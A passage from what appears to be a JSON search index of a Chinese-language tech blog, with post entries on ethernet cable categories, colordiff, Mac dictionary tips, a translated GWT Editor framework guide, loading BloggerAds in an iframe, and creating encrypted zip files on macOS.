檔就用 rpm 指令來安裝：\nsudo rpm -ivh greatlittleradioplayer-1.3.0-1.i386.rpm 以下是一些 Great Little Radio Player 的使用畫面：\n","permalink":"https://blog.gtwang.org/linux/great-little-radio-player-ubuntu-fedora/","summary":"\u003cp\u003e\u003ca href=\"https://sites.google.com/site/glrpgreatlittleradioplayer/home\"\u003eGreat Little Radio Player\u003c/a\u003e 是一個專門設計給 Ubuntu 與 Fedora Linux 的網路收音機（音樂播放軟體），藉由這個軟體可以連線到網路電台直接線上收聽廣播。\u003c/p\u003e\n\u003cp\u003eGreat Little Radio Player 中內建有 300 個遍佈全球的免費網路電台清單，所以只要安裝好之後，馬上就可以直接收聽了。\u003c/p\u003e","title":"Great Little Radio Player：Ubuntu 與 Fedora Linux 專用的網路收音機（音樂播放軟體）"},{"content":"現在這個時代幾乎人人都會上網，家家都有網路，但是大家可能沒注意到其實外表看起來都一樣的乙太網路線（ethernet cable），其實也有好幾種，這裡介紹目前市面上常見的幾種網路線，並比較其中的差異。\n如果你不知道你所使用的網路線是屬於哪一種，可以找一找網路線上面所印的英文字，通常上面都會寫他是哪一種網路線，不同的網路線當然有一些不同的地方，有些解釋起來甚至很複雜，而在這裡我們只討論會對大家有影響的部分，也就是不同的網路線對於上網速度的影響。\nCat 5 Cat 5 網路線（Category 5 cabling）是比較舊的規格，他是設計給 10 Mbps 與 100 Mbps 兩種網路傳輸速率（理論值）使用的，而如果你的 Cat 5 網路線長度很短的話，它也有可能可以支援到 gigabit 的速度，但是這不是個好的方式。\n因為 Cat 5 網路線是一種舊規格，所以現在市面上應該很少會看到了，但是在一些老舊的電腦與網路設備中，有時候也會發現它的蹤影。\nCat 5e Cat 5e 網路線（Category 5 enhanced cabling）是 Cat 5 的改良版，它的設計可以支援 1000 Mbps（gigabit）的網路傳輸速度（理論值），因此在傳輸速度上會比傳統的 Cat 5 快，另外它也可以降低網路線內部的信號干擾（crosstalk），使得傳輸的速度可以更快、更穩定。\nCat 6 Cat 6 網路線（Category 6 cabling）是 Cat 5e 改良後的下一版，降低信號干擾的效果更好，在某些情況下傳輸速率甚至可以達到 10 Gigabit 的速度，通常在自己家中應該是不需要那麼快的速度，這樣的速度改善對於一般的狀況而言，感覺可能已經不是那麼明顯了（因為已經太快了），也就是說對於一般人而言，可以不必硬要把 Cat 5e 的網路線升級成 Cat 6，不過如果是要買新的網路線的話，當然買 Cat 6 會比較好，畢竟他是比較新的規格。\n到底該用哪一種網路線？ 說了那麼多，那到底該選擇哪一種網路線呢？在討論這個問題之前，大家必須要先理解一個觀念，「網路速度（network speed）」並不等於「上網速度（internet speed）」，換句話說就是，升級網路線並不一定會讓你逛 Yahoo 網站或是上 Facebook 聊天更順暢，關鍵在於 internet 速度通常比不上自己的 network 速度，所以瓶頸通常是出在 internet 的速度。\n但是如果是在自己家中的區域網路架設 NAS，用來作為自己電腦的備份磁碟的話，這種狀況使用較高速的網路線就會差很多了。\n當然如果要使用較高速的網路，除了網路線的規格支援之外，電腦的網路卡、交換器（switch）或路由器（router）也要有支援才行，不過現在新的設備應該都至少支援到 Gigabit 的速度了，除非是使用比較老舊的電腦與網路設備才需要注意這些。\n如果你有一些老舊的設備，不知道他到底支援到哪一種網路傳輸速度，可以直接上 Google 用他的型號查一下規格，通常都可以查的到。\n原則上，如果你家的網路速度已經讓你用的很開心了，那麼你就不需要為了這個網路線的問題煩惱了。\n如果你已經有買 Gigabit 的設備（如交換器、路由器等），那麼添購支援 Gigabit 的網路線其實是很便宜的，甚至如果會自己壓線，就更省錢了，如果需要更快的網路的話，換一下線材是很划算的。\n如果你是使用 Cat 5 的網路線，而你想要更快的網路速度，那麼升級到 Cat 5e 應該會有明顯的幫助，就像上面所說的，雖然 Cat 5 可以達到 Gigabit 的速度，但是這是要經過不斷的測試與修改之後，才可能達到，不如花點小錢換成 Cat 5e 或是 Cat 6，這樣比較省事。（當然要注意一下相關的網路設備是否支援 Gigabit 速度）\n最後，請記得這裡提到的網路速度都只是理論值，即使你所有的設備都支援 Gigabit 傳輸速度，但是通常實際的傳輸速度是不可能到達 1 Gb/s 的，但是比起非 Gigabit 的設備，它還是會快很多。另外，如果你的網路線很長（例如 100 公尺），因為訊號衰減的因素，傳輸的速度也會因此下降。\n總之，先搞清楚自己的網路狀況，在決定是否需要添購設備，如果只是單純上網的話，拿中華電信的 ADSL 測試數據來參考一下，最快的方案 8M/640K 的實際資料傳輸速度是 6.973~8.015Mbps / 558.000~646.000Kbps 左右，所以其實再怎麼傳都只有 8 Mbps 左右，以這種速度來說，用最舊的 Cat 5 就很夠了，因為光是 Cat 5 就可以到 100 Mbps 的理論速度，就算換了 Cat 5e 或 Cat 6 也不會比較快，所以如果沒搞清楚，請別亂花錢。\n但如果是中華電信的光世代產品的話，其最快的 100M/100M 資料傳輸速度測試出來就可以到達 91.630~94.448Mbps / 88.742~95.262Mbps 左右，這樣的速度來說已經很接近 Cat 5 的理論上限了，所以如果這個時候還在使用 Cat 5 的線，傳輸速度就會有影響，而換成 Cat 5e 或是 Cat 6 的線就會比較好。\n參考資料 lifehacker ","permalink":"https://blog.gtwang.org/tips/ethernet-cables-and-network-speed/","summary":"\u003cp\u003e現在這個時代幾乎人人都會上網，家家都有網路，但是大家可能沒注意到其實外表看起來都一樣的乙太網路線（ethernet cable），其實也有好幾種，這裡介紹目前市面上常見的幾種網路線，並比較其中的差異。\u003c/p\u003e","title":"各種網路線的差異：不同的網路線會影響上網速度嗎？"},{"content":"山藥零餘子（bulbils）為生長在山藥藤莖部位之腋芽，每個大小約和花生相等，其組織也與山藥的根部並無太大差別，在日本，山藥零餘子已被作為零嘴、糖果和山藥油飯。在台灣，目前已將其添加於月餅、或各種菜餚的佐料，如果積極開發，可成為一種具有營養價值的產品。\n山藥零餘子其外皮含膽鹼、尿囊素等物質，內部組織類似山藥成分。唯依據本草綱目記載，「山藥零餘子味甘溫、無毒，主補虛損，強腰腳，益腎，食之不饑，功用強於薯蕷」，顯然其營養價值與功用皆高於山藥塊莖，而山藥在許多研究確已被證實具有抗氧化活性。但山藥零餘子的保存性不佳，收穫後極易發霉褐變或發芽，且相關加工基本物性的研究非常有限。\n這是我拿到的山藥零餘子，到了清明節附近就會開始發芽，白色的山藥其冒出來的芽也是白色的。\n這個是紫色山藥的塊莖，也是在清明節附近冒出新芽，而它剛冒出來的嫩芽是紫色的。\n","permalink":"https://blog.gtwang.org/life/dioscorea-opposita/","summary":"\u003cp\u003e山藥零餘子（bulbils）為生長在山藥藤莖部位之腋芽，每個大小約和花生相等，其組織也與山藥的根部並無太大差別，在日本，山藥零餘子已被作為零嘴、糖果和山藥油飯。在台灣，目前已將其添加於月餅、或各種菜餚的佐料，如果積極開發，可成為一種具有營養價值的產品。\u003c/p\u003e","title":"山藥零餘子與塊莖發芽"},{"content":"以華人的部落格來說，主要的廣告商除了 Google 龍頭的 AdSense 之外，就屬 BloggerAds 與 BlogAD 最普遍，而 BloggerAds 也是我的部落格常會放置的廣告，但是 BloggerAds 最令人詬病的一點就是，當網頁載入時，因為 BloggerAds 的 JavaScript 載入速度很慢（可能是因為 BloggerAds 的伺服器的問題），導致網頁中所有放在 BloggerAds 之後的東西都出不來。\n而網路上大都會建議把 BloggerAds 放在網頁 HTML 程式碼的最後面，但是這樣也會造成一些動態載入的小工具（如 Google+ 的按鈕等）出不來，之前一度受不了它的速度，還直接把他拿掉。\n後來參考了 WFU 的作法，使用 iframe 加上一些技巧，成功地解決這個問題，使用這樣的方式即便 BloggerAds 當掉了，也不會影響到整個網頁地呈現。\nStep 1\n首先連到 BloggerAds 「帳戶資料」中的「取得廣告程式碼」。\nStep 2\n設定部落格的廣告，在設定時要注意自己使用的廣告規格，也就是大小是多大，這裡我們以 180x1100 的大小作為示範，下面的步驟會跟這個大小有關。\nStep 3\n接著下方會產生這個廣告用的 JavaScript 程式碼：\n我來看這個程式碼，其實最主要的關鍵就是 blogid 這個參數：\n\u0026lt;script type=\u0026#34;text/javascript\u0026#34; src=\u0026#34;http://js1.bloggerads.net/showads.aspx?blogid=20120926000019\u0026amp;w=1\u0026amp;charset=utf-8\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; 就我的推測，大家的 BloggerAds 程式碼應該都一樣，只是差在 blogid 不同而已，所以大家在貼程式碼時，就把這個部分換成自己的就可以了。（應該是這樣啦，至少我都是這樣做的，如果有人失敗在跟我說吧）\nStep 4\n接著就把下面這些程式碼複製到記事本（或是任何你喜歡的編輯器）上，然後要進行一些修改。\n\u0026lt;iframe id=\u0026#39;bloggerAds1\u0026#39; scrolling=\u0026#39;no\u0026#39; frameborder=\u0026#39;0\u0026#39; allowtransparency=\u0026#39;true\u0026#39; style=\u0026#39;height: 900px; width: 190px;\u0026#39;\u0026gt;\u0026lt;/iframe\u0026gt; \u0026lt;script\u0026gt; (function() { var a = document.getElementById(\u0026#34;bloggerAds1\u0026#34;), b = a.contentDocument || a.contentWindow.document; b.write(\u0026#39;\u0026lt;scr\u0026#39; + \u0026#39;ipt type=\u0026#34;text/javascript\u0026#34; src=\u0026#34;http://js1.bloggerads.net/showads.aspx?blogid=20120926000019\u0026amp;w=1\u0026amp;charset=utf-8\u0026#34;\u0026gt;\u0026lt;/scr\u0026#39; + \u0026#39;ipt\u0026gt;\u0026#39;); } )(); \u0026lt;/script\u0026gt; Step 5\n最後就把修改完成的程式碼貼上部落格就可以了。如果是 Google 的 Blogger 部落格，可以使用 HTML/JavaScript 小工具：\n","permalink":"https://blog.gtwang.org/web-development/iframe-bloggerads/","summary":"\u003cp\u003e以華人的部落格來說，主要的廣告商除了 Google 龍頭的 AdSense 之外，就屬 BloggerAds 與 BlogAD 最普遍，而 BloggerAds 也是我的部落格常會放置的廣告，但是 BloggerAds 最令人詬病的一點就是，當網頁載入時，因為 BloggerAds 的 JavaScript 載入速度很慢（可能是因為 BloggerAds 的伺服器的問題），導致網頁中所有放在 BloggerAds 之後的東西都出不來。\u003c/p\u003e","title":"以 iframe 解決 BloggerAds 部落格廣告載入卡住、拖慢網頁的問題"},{"content":"在 Linux 中的 diff 指令可以比較兩個文字檔案之間的差異，通常用於比較檔案新舊版本之間的變動處、或是產生 patch 檔（patch 指令所使用的輸入檔）。\n傳統上 diff 的輸出是沒有顏色的，如果在比較兩個檔案的差異時（是人在看的，不是給電腦看的），可以透過 colordiff 指令把原本 diff 的輸出加上顏色，讓輸出更容易閱讀。\ncolordiff 這個工具程式已經在各種常用的 Linux 與 FreeBSD 等平台中被測試過了，至於其他的平台基本上應該也可以使用。\nStep 1\n安裝 colordiff，如果是 Ubuntu 或 Debian Linux，可使用 apt-get 安裝：\nsudo apt-get install colordiff 如果是 CentOS 或 Fedora 等，可用 yum 安裝：\nyum install colordiff Step 2\n基本上 colordiff 與傳統的 diff 是用法差不多的：\ncolordiff file1 file2 除此之外，也可以配合傳統的 diff 來使用：\ndiff -u file1 file2 | colordiff 如果輸很長，可以使用 less 指令加上 -r 或是 -R 參數保留 ANSI 跳脫字元（escape sequences）：\ndiff -u file1 file2 | colordiff | less -R 使用 colordiff 之後，輸出就有顏色了：\n除了 colordiff 之外，也有一些其他的指令可以將 diff 的輸出加上顏色，例如使用 remark：\ndiff file1 file2 | remark /usr/share/regex-markup/diff 或是使用 grc 指令：\ngrc diff file1 file2 參考資料 nixCraft ","permalink":"https://blog.gtwang.org/linux/colordiff-command/","summary":"\u003cp\u003e在 Linux 中的 \u003ccode\u003ediff\u003c/code\u003e 指令可以比較兩個文字檔案之間的差異，通常用於比較檔案新舊版本之間的變動處、或是產生 patch 檔（\u003ccode\u003epatch\u003c/code\u003e 指令所使用的輸入檔）。\u003c/p\u003e\n\u003cp\u003e傳統上 \u003ccode\u003ediff\u003c/code\u003e 的輸出是沒有顏色的，如果在比較兩個檔案的差異時（是人在看的，不是給電腦看的），可以透過 \u003ccode\u003ecolordiff\u003c/code\u003e 指令把原本 \u003ccode\u003ediff\u003c/code\u003e 的輸出加上顏色，讓輸出更容易閱讀。\u003c/p\u003e","title":"使用 colordiff 指令將 diff 的輸出加上顏色、更好閱讀"},{"content":"Mac OS X 中有一個內建字典軟體，自己還可以自行加入字典檔擴充其功能，算是一個很方便又好用的軟體，而其使用方式主要有三種，第一種就是直接開啓字典查詢的視窗，輸入要查詢的單字：\n這個方式是最簡單的，但是要手動輸入單字感覺就不是很方便，如果是在閱讀網頁文章時，雖然可以用滑鼠複製與貼上，但還是要在瀏覽器與字典之間切換，也不是很方便。\n還好 Apple 有想到這一點，已經把字典功能整合進滑鼠的右鍵選單，所以只要在要查詢的單字上按下滑鼠右鍵，選擇「查閱字典」，就可以直接查詢了：\n這樣就會跳出字典的小視窗，顯示該單字的翻譯。\n這樣不用複製與貼上點來點去，就方便很多了，不過如果你的英文很破（像我就是），看沒幾行就要查單字，這樣點也是會很累的，幸好還有個用快的方式，就是使用查詢字典的快速鍵，把滑鼠移到要查詢的單字上方，按下鍵盤的 Command + Control + D，這樣就會直接跳出字典的小視窗了，比用滑鼠右鍵還要快！（Command 鍵也稱作 Apple 鍵，是 Mac 電腦的特殊按鍵，就在空白鍵的兩旁）\n參考資料 lifehacker ","permalink":"https://blog.gtwang.org/mac-os/mac-os-x-dicttionary-shortcut-key/","summary":"\u003cp\u003eMac OS X 中有一個內建字典軟體，自己還可以\u003ca href=\"/mac-os/mac-os-x-dicttionary-add-chinese/\"\u003e自行加入字典檔\u003c/a\u003e擴充其功能，算是一個很方便又好用的軟體，而其使用方式主要有三種，第一種就是直接開啓字典查詢的視窗，輸入要查詢的單字：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"mac-os-x-dicttionary\" loading=\"lazy\" src=\"/mac-os/mac-os-x-dicttionary-shortcut-key/mac-os-x-dicttionary.png\"\u003e\u003c/p\u003e\n\u003cp\u003e這個方式是最簡單的，但是要手動輸入單字感覺就不是很方便，如果是在閱讀網頁文章時，雖然可以用滑鼠複製與貼上，但還是要在瀏覽器與字典之間切換，也不是很方便。\u003c/p\u003e","title":"使用 Mac OS X 字典的技巧（滑鼠右鍵、鍵盤快速鍵）"},{"content":"在以前到郵局存款都要存摺，而後來的方式可以使用無摺存款，但是要知道密碼才行，而現在連密碼都不需要了，也就是說只要知道郵局的局號與帳號，就可以直接到郵局存錢，不用手續費，而且立即進帳，感覺好方便阿！\n這是無摺存款的單子，黑色的部分是自己要填寫的：\n其中戶名下方有個選項，分別是「帳戶本人親辦無摺存款」與「他人代辦無摺存款」，如果是自己親自去存錢到自己的帳戶，就勾「帳戶本人親辦無摺存款」，而如果不是親自去存，就要勾選「他人代辦無摺存款」，然後寫上代辦人的姓名與電話。\n而如果存款金額超過 3 萬的話，還要記得填存款人的身分證字號。\n填完之後，就把這張單子與現金交給郵局的櫃台人員，這樣就可以存進去了，不用郵局存摺、金融卡或是密碼。\n","permalink":"https://blog.gtwang.org/life/post-office-deposit-slips/","summary":"\u003cp\u003e在以前到郵局存款都要存摺，而後來的方式可以使用無摺存款，但是要知道密碼才行，而現在連密碼都不需要了，也就是說只要知道郵局的局號與帳號，就可以直接到郵局存錢，不用手續費，而且立即進帳，感覺好方便阿！\u003c/p\u003e","title":"郵局無摺存款教學：不用存摺、不用提款卡、不用密碼的存款方式"},{"content":"在 Mac OS X 中有內建一個字典軟體，可以讓你很方便地隨時查閱，有點類似 Dr. eye 的功能，但是這個軟體雖然設計的不錯，但是卻只有內建英翻英而沒有英翻中的字典，這裡教大家如何加入英文翻譯中文的字典檔。\nStep 1\n首先到這裡下載 StarDict 星際譯王的字典檔。\nStarDict 是在 Linux 中很熱門的翻譯軟體，而其字典檔很多，像是牛津現代英漢雙解詞典、朗道英漢字典、懶蟲簡明英漢詞典、21世紀英漢漢英雙向詞典等都是很好用的字典，您可以選擇自己喜歡的字典檔下載，當然如果想全部都下載也可以，這樣在查詢時還可以互相參考每個字典的解釋與翻譯。\nStep 2\n下載並安裝 Mac Dictionary Kit 這個轉檔工具。\n因為 StarDict 的字典檔格式與 Mac OS X 內建字典所使用的格式不同，這個工具可以把 StarDict 的字典檔轉為 Mac OS X 的字典格式。\nMac Dictionary Kit 的網站上已經有製作好的 DMG 安裝檔，直接下載 DMG 檔會方便很多，直接打開下載下來的 DMG 檔，會看到兩個檔案： 這個 DictUnifier 其實不用安裝就可以使用了，直接點兩下 DictUnifier 的圖示，就可以開啓。如果想安裝就把這個圖示拖進「應用程式」的資料夾就可以了。\nStep 3\n打開 DictUnifier 之後，就會看到 DictUnifier 的主要視窗。\n這時候就點選右上角的「Choose」選擇剛剛下載下來的 StarDict 字典檔，通常下載下來的字典檔是一個壓縮檔，最常見的就是 *.tar.bz2 這種檔案。\nStep 4\n選擇好 StarDict 字典檔之後，就會看到字典檔的基本資訊，這樣就表示選擇的字典檔沒有問題。\n接著就按下右下角的「Convert」按鈕，開始轉換字典檔。在轉換時在左下角會有個圓圈塗案在跑，而轉換的過程有點久，要稍微等一下，我轉換了朗道英漢字典就等了快要 20 分鐘。\nStep 5\n轉換完成之後，新的字典檔會自動放進系統的字典檔目錄中，所以現在就可以開啟字典軟體直接使用新的字典檔了。\n以上就是自己加入字典檔的方法，您可以使用這樣的方式加入多個字典檔，這樣在查詢時可以互相參考，會更方便。\n","permalink":"https://blog.gtwang.org/mac-os/mac-os-x-dicttionary-add-chinese/","summary":"\u003cp\u003e在 Mac OS X 中有內建一個字典軟體，可以讓你很方便地隨時查閱，有點類似 Dr. eye 的功能，但是這個軟體雖然設計的不錯，但是卻只有內建英翻英而沒有英翻中的字典，這裡教大家如何加入英文翻譯中文的字典檔。\u003c/p\u003e","title":"讓 Mac OS X 的字典加入英文翻譯中文功能：加入 StarDict 星際譯王的字典檔"},{"content":"這篇是將 Google Web Toolkit 的官方教學文章直接翻譯過來的，內容不是很好閱讀，加減做個記錄。\nGWT 的 Editor 架構（framework）可以讓複雜的物件（object graph）中的資料對應到 Editors 上，像是經由 RPC 得到的物件，如果要將其中的資料放到使用者介面（UI）上，就很適合用這個架構。\n目的（Goals） 使用這個 Editor 架構主要的目的有下列幾項：\n降低「膠水程式碼」（glue code）的使用量。（註一） 讓程式與 bean 物件相容，不管是 POJO、JSO、RPC 或是 RequestFactory，只要像是 bean 的物件（註二），都可以相容。 支援任意組合的 Editors。 註一：在一般的程式中，資料要在使用者介面與 object graph 之間互相傳遞時，都會需要撰寫一些程式碼，專門負責傳遞資料，這些很無聊但又不能省略的程式碼，就是所謂的「膠水程式碼」，使用 Editor 架構最主要的目的就是簡化這些程式碼的使用量。\n註二：所謂「像是 bean 的物件」指的是物件中的 properties 都可以用 Foo getFoo(); 這樣的方法（method）來取得，而 void setFoo(Foo foo); 則可有可無。\nEditor 指的是一個可以編輯 bean 的物件，而一個 Editor 中可以包含任意個數的子 Editors，大多數的 Editor 會實作成 Widget，但在這個架構的規範數，並沒有這個限制，程式設計者可以任意實作出自己想要的 Editor 型式。\nDriver 是在最上層的控制元件，負責將 bean 連結上 Editor。\nAdapter：One of a number of provided types that provide \u0026ldquo;canned\u0026rdquo; behaviors for the Editor framework.\n使用方式 這裡首先將 Editor 的架構作一個簡單的介紹，先讓大家有個概念，一般來說使用 Editor 架構大致包含幾個步驟：\n實作與初始化 Editor。 實作與初始化 Driver。 將 bean 傳入 Driver 開始進行資料的編輯。 讓使用者與 UI 互動。 呼叫 Driver 的 flush() 函數將 Editor 中的資料複製回 bean。 透過 hasErrors() 與 getErrors() 兩個函數檢查輸入的資料是否有錯誤。 以下是一個典型的實作流程：\nStep 1\n在 gwt.xml 檔中匯入 com.google.gwt.editor.Editor 這個模組。\nStep 2\n定義一般真正儲存資料的 POJO。\npublic class Person { Address getAddress(); Person getManager(); String getName(); void setManager(Person manager); void setName(String name); } Step 3\n依照自己的資料結構定義 Editor。\npublic class PersonEditor extends Dialog implements Editor\u0026lt;Person\u0026gt; { // 許多 GWT Widgets 都有支援 Editor 架構 Label nameEditor; // 建立 Editors 常常只是把既有的 Editors 組合一下而已 AddressEditor addressEditor; ManagerSelector managerEditor; public PersonEditor() { // 實作自己的 Widgets，這裡通常會使用 UiBinder } } Step 4\n接著就把 Editor 加入程式中。\npublic class EditPersonWorkflow{ // 宣告空的 interface，與 UiBinder 類似 interface Driver extends SimpleBeanEditorDriver\u0026lt;Person, PersonEditor\u0026gt; {} // 建立 Driver Driver driver = GWT.create(Driver.class); void edit(Person p) { // PersonEditor 是一個實作 Editor\u0026lt;Person\u0026gt; 的 DialogBox PersonEditor editor = new PersonEditor(); // 使用頂層的 editor 初始化 driver driver.initialize(editor); // 將物件中的資料複製到 UI 上 driver.edit(p); // 顯示 UI 到螢幕上 editor.center(); } // 這個函數可被其他的 UI 呼叫 void save() { Person edited = driver.flush(); if (driver.hasErrors()) { // 子 editor 回報錯誤 } doSomethingWithEditedPerson(edited); } } 以上就是 Editor 架構的典型實作方式。\n實作 Editor 的規範 Editor 實際上只是一個標記參數的介面（interface）而已，其指定物件中的每個 property 所對應的子 Editor，而指定方式有下面幾種：\n最簡單的方式就是要編輯的以物件 property 名稱作為子 Editor 的 field 名稱，或是 property 名稱再加上「Editor」，即 propertyNameEditor，例如：\nclass MyEditor implements Editor\u0026lt;Foo\u0026gt; { // 編輯 Foo.getBar() property BarEditor bar; // 編輯 Foo.getBaz() property BazEditor bazEditor; } 其中 BarEditor 與 BazEditor 都是子 Editor 類別，而其 field 名稱則是對應 property 的名稱（即 bar ）或是加上「Editor」（即 bazEditor ）。\n第二種方式是以物件 property 名稱或是 property 名稱再加上「Editor」（即 propertyNameEditor ）來定義沒有參數的方法函數，這樣的方式適合用於階層式的 Editor，例如：\ninterface FooEditor extends Editor\u0026lt;Foo\u0026gt; { // 編輯 Foo.getBar() property BarEditor bar(); // 編輯 Foo.getBaz() property BazEditor bazEditor(); } 最後一種是使用 @Path 語法，這個語法可以使用句點分隔的 property 路徑，標示更複雜的資料結構，可用於一般的 field 或 accessor 方法函數，例如：\nclass PersonEditor implements Editor\u0026lt;Person\u0026gt; { // 對應到 person.getManager().getName() @Path(\u0026#34;manager.name\u0026#34;); Label managerName; } @Ignored 語法可以讓 Editor 架構忽略指定的項目，不要視為子 Editor。\n子 Editor 可以是 null，這種狀況 Editor 架構會自動忽略這些子 Editors。\n在所有 Editor\u0026lt;t\u0026gt; 所使用的地方都可以用 IsEditor\u0026lt;editor\u0026gt;\u0026gt; 來替代，透過 IsEditor 介面可以讓你輕易的結合既有的 Editors 來創造新的 Editor，例如大部分的 leaf GWT Widget 都有實作 IsEditor 介面，因此可以直接拿來組合後建立新的 Editor。至於如果要自己實作 IsEditor 介面的話，只要實作 asEditor() 這個方法即可，不會影響到其他的程式碼。\nEditor delegates 每個 Editor 都有一個 EditorDelegate，提供 Editor 架構相關的 service 函數：\ngetPath() 會傳回目前 Editor 在 Editor 階層架構中的路徑。 recordError() 會讓 Editor 將輸入驗證的錯誤訊息傳回它的上層 Editors（parent Editors），最後傳到 Driver 中。使用 userData 參數可以將任意的資料放進產生的 EditorError 中一起傳回。 subscribe() 可以用來接收在 Editor 之外更新被編輯物件的訊息。 Editor subtypes 除了 Editor 這個介面（interface）之外，在 Editor 架構中還有一些特定的介面可以提供更複雜的功能。\nLeafValueEditor LeafValueEditor 適用在非物件、不可變動（immutable）或是任何不要讓 Editor 架構繼續往下解析的的型別。\nsetValue()：設定要被編輯的物件。 getValue()：這個方法會在 Driver 呼叫 flush() 時被呼叫，然後將 Editor 中的值複製到被編輯的 bean 之中。 HasEditorDelegate HasEditorDelegate 提供一個具有 EditorDelegate 的 Editor。\nsetEditorDelegate()：這個方法會在任何內容初始化動作之前被呼叫。 ValueAwareEditor ValueAwareEditor 適用在 Editor 的動作會與其編輯的值相關的的狀況，也就是在其編輯的值變動時，會需要通知這個 Editor 做一些處理的動作。\nsetEditorDelegate()：因為 ValueAwareEditor 有繼承 HasEditorDelegate，所以要實作這個方法。 setValue()：設定要編輯與監控的物件，當此物間變動時就會通知 Editor。 在任何的時候，當 EditorDelegate.subscribe() 被呼叫時，Editor 的 onPropertyChange() 或 setValue() 也會隨著被呼叫。 flush() 在被 Driver 呼叫時會以 depth-first 的方式處理子 Editor 中的 flush()，所以 Editors 通常不需呼叫子 Editors 的 flush()，而 Editor 如果要更換監控的物件，應該要在 flush() 被呼叫之後才可更換，這樣可以讓編輯的流程可以被取消。 CompositeEditor CompositeEditor 允許任何數量的子 Editors 在執行時動態加入，除了 ValueAwareEditor 所擁有的方法之外，CompositeEditor 還多了以下幾個方法：\ncreateEditorForTraversal()：呼叫此方法會傳回一個用來計算所有編輯路徑的子 Editor，如果這個 Composite Editor 正在編輯一個 Collection，這個方式可以解決沒有任何子 Editor 可以解查空 Collection 的問題。 setEditorChain()：提供一個可以設定 EditorChain 的管道，讓子 Editors 可以放進 Editor 階層架構中或是從中移除。 getPathElement()：這個方法是提供給 Editor 架構用來計算每個子 Editor 的 EditorDelegate.getPath() 傳回值用的，如果一個 CompositeEditor 正在編輯有索引的資料結構（例如 List），則此方法就會傳回 [index]。 HasEditorErrors HasEditorErrors 是表示這個 Editor 可以透過 EditorDelegate.recordError() 接收任何由子 Editor 所產生且未被處理完（unconsumed）的錯誤，而 Editor 可以將已經處理完的 EditorError 錯誤以 EditorError.setConsumed() 標示為處理完成。\n各種 Adapters GWT 提供了幾個 Editor adapter 類別，簡化一些常用的程式設計結構，大多數的 adapter 都有 of() 這個靜態方法可以直接建立 adapter 物件。\nHasDataEditor 可以將 List\u0026lt;T\u0026gt; 轉為 HasData\u0026lt;T\u0026gt;。\nHasTextEditor 將 HasText 介面轉為 LeafValueEditor\u0026lt;String\u0026gt;。\n新的 widgets 建議以 TakesValue\u0026lt;String\u0026gt; 取代 HasText。\nListEditor 會維護一個 List\u0026lt;T\u0026gt; 與子 Editors 所組成的 List 之間的同步。\nListEditor 在建立時會傳入一個使用者提供的 EditorSource，而這個 EditorSource 會提供子 Editors（通常是 Widget 的子類別）。\nChanges made to the structure of the List returned by ListEditor.getList() will be reflected in calls made to the EditorSource.\nOptionalFieldEditor 可以用來編輯 nullable 或是 resettable 的 bean properties。\nSimpleEditor 可以用來作為一個 headless property Editor\nTakesValueEditor 可以將 TakesValue\u0026lt;T\u0026gt; 轉換為 LeafValueEditor\u0026lt;T\u0026gt;\nValueBoxEditor 可以將 ValueBoxBase\u0026lt;T\u0026gt; 轉換為 LeafValueEditor\u0026lt;T\u0026gt;。如果 getValueOrThrow() 方法丟出一個 ParseException 例外，這個例外會經由一個 EditorError 來處理回報。\nValueBoxEditorDecorator 是一個簡單的 UI decorator，結合一個 ValueBoxBase 與一個 Label，顯示任何 ValueBoxBase 所產生的 parse 錯誤。\nDriver 的種類 GWT 架構提供了以下幾種頂層的 Driver：\nSimpleBeanEditorDriver\n可以被任何類似 bean 的物件使用。\n沒有支援更新 subscriptions。\nRequestFactoryEditorDriver\n設計用來與 RequestFactory 整合，以及編輯 EntityProxy 的子類別。\n當遇到 EntityProxy 時，這個 Driver 需要一個 RequestContext 用來自動呼叫 RequestContext.edit()。\n藉由傾聽 RequestFactory 的 EventBus 中的 EntityProxyChange 事件，可以支援 subscriptions。\n","permalink":"https://blog.gtwang.org/programming/gwt-editor-driver-framework/","summary":"\u003cp\u003e這篇是將 \u003ca href=\"https://www.gwtproject.org/doc/latest/DevGuideUiEditors\"\u003eGoogle Web Toolkit 的官方教學文章\u003c/a\u003e直接翻譯過來的，內容不是很好閱讀，加減做個記錄。\u003c/p\u003e\n\u003cp\u003eGWT 的 Editor 架構（framework）可以讓複雜的物件（object graph）中的資料對應到 Editors 上，像是經由 RPC 得到的物件，如果要將其中的資料放到使用者介面（UI）上，就很適合用這個架構。\u003c/p\u003e","title":"Google Web Toolkit（GWT） 的 Editor 與 Driver 架構（Framework）：讓編輯 Java Bean 物件更方便"},{"content":"在 Mac OS X 中要壓縮檔案的話，基本上就用滑鼠點右鍵選「壓縮…」就可以製作 Zip 格式的壓縮檔，很方便。但如果是機密的資料要透過 Email 等管道傳送時，常常會需要建立加密的 Zip 壓縮檔，也就是需要密碼才能解壓縮的檔案：\n像這樣的壓縮檔就沒辦法直接用 Mac OS X 的內建選單來建立了，這時候可以利用 zip 這個指令來做壓縮。以下是使用教學：\nStep 1\n首先開啓終端機（Terminal），使用 cd 指令切換到要壓縮的檔案所在目錄，如果放在桌面上就是：\ncd Desktop Step 2\n使用 zip 指令配合 -e 參數製作加密的壓縮檔：\nzip -e archivename.zip filetoprotect.txt 其中 filetoprotect.txt 就是要加密壓縮的檔案，而 archivename.zip 就是輸出的壓縮檔檔名。\n在壓縮前，要先輸入密碼：\n輸入密碼按下 Enter 鍵之後，還會要求在輸入一次作為驗證（verify），以免打錯密碼，所以總共要輸入兩次密碼。\n輸入完密碼之後，zip 就會把 filetoprotect.txt 加密壓縮成 archivename.zip 了。\n如果要壓縮整個資料夾，就把上面的 filetoprotect.txt 替換成資料夾，再加上 -r 即可，例如：\nzip -er ~/Desktop/encrypted.zip ~/Documents/Confidential/ 參考資料 OS X Daily ","permalink":"https://blog.gtwang.org/mac-os/mac-os-x-encrypted-zip/","summary":"\u003cp\u003e在 Mac OS X 中要壓縮檔案的話，基本上就用滑鼠點右鍵選「壓縮…」就可以製作 Zip 格式的壓縮檔，很方便。但如果是機密的資料要透過 Email 等管道傳送時，常常會需要建立加密的 Zip 壓縮檔，也就是需要密碼才能解壓縮的檔案：\u003c/p\u003e","title":"在 Mac OS X 中建立加密的 Zip 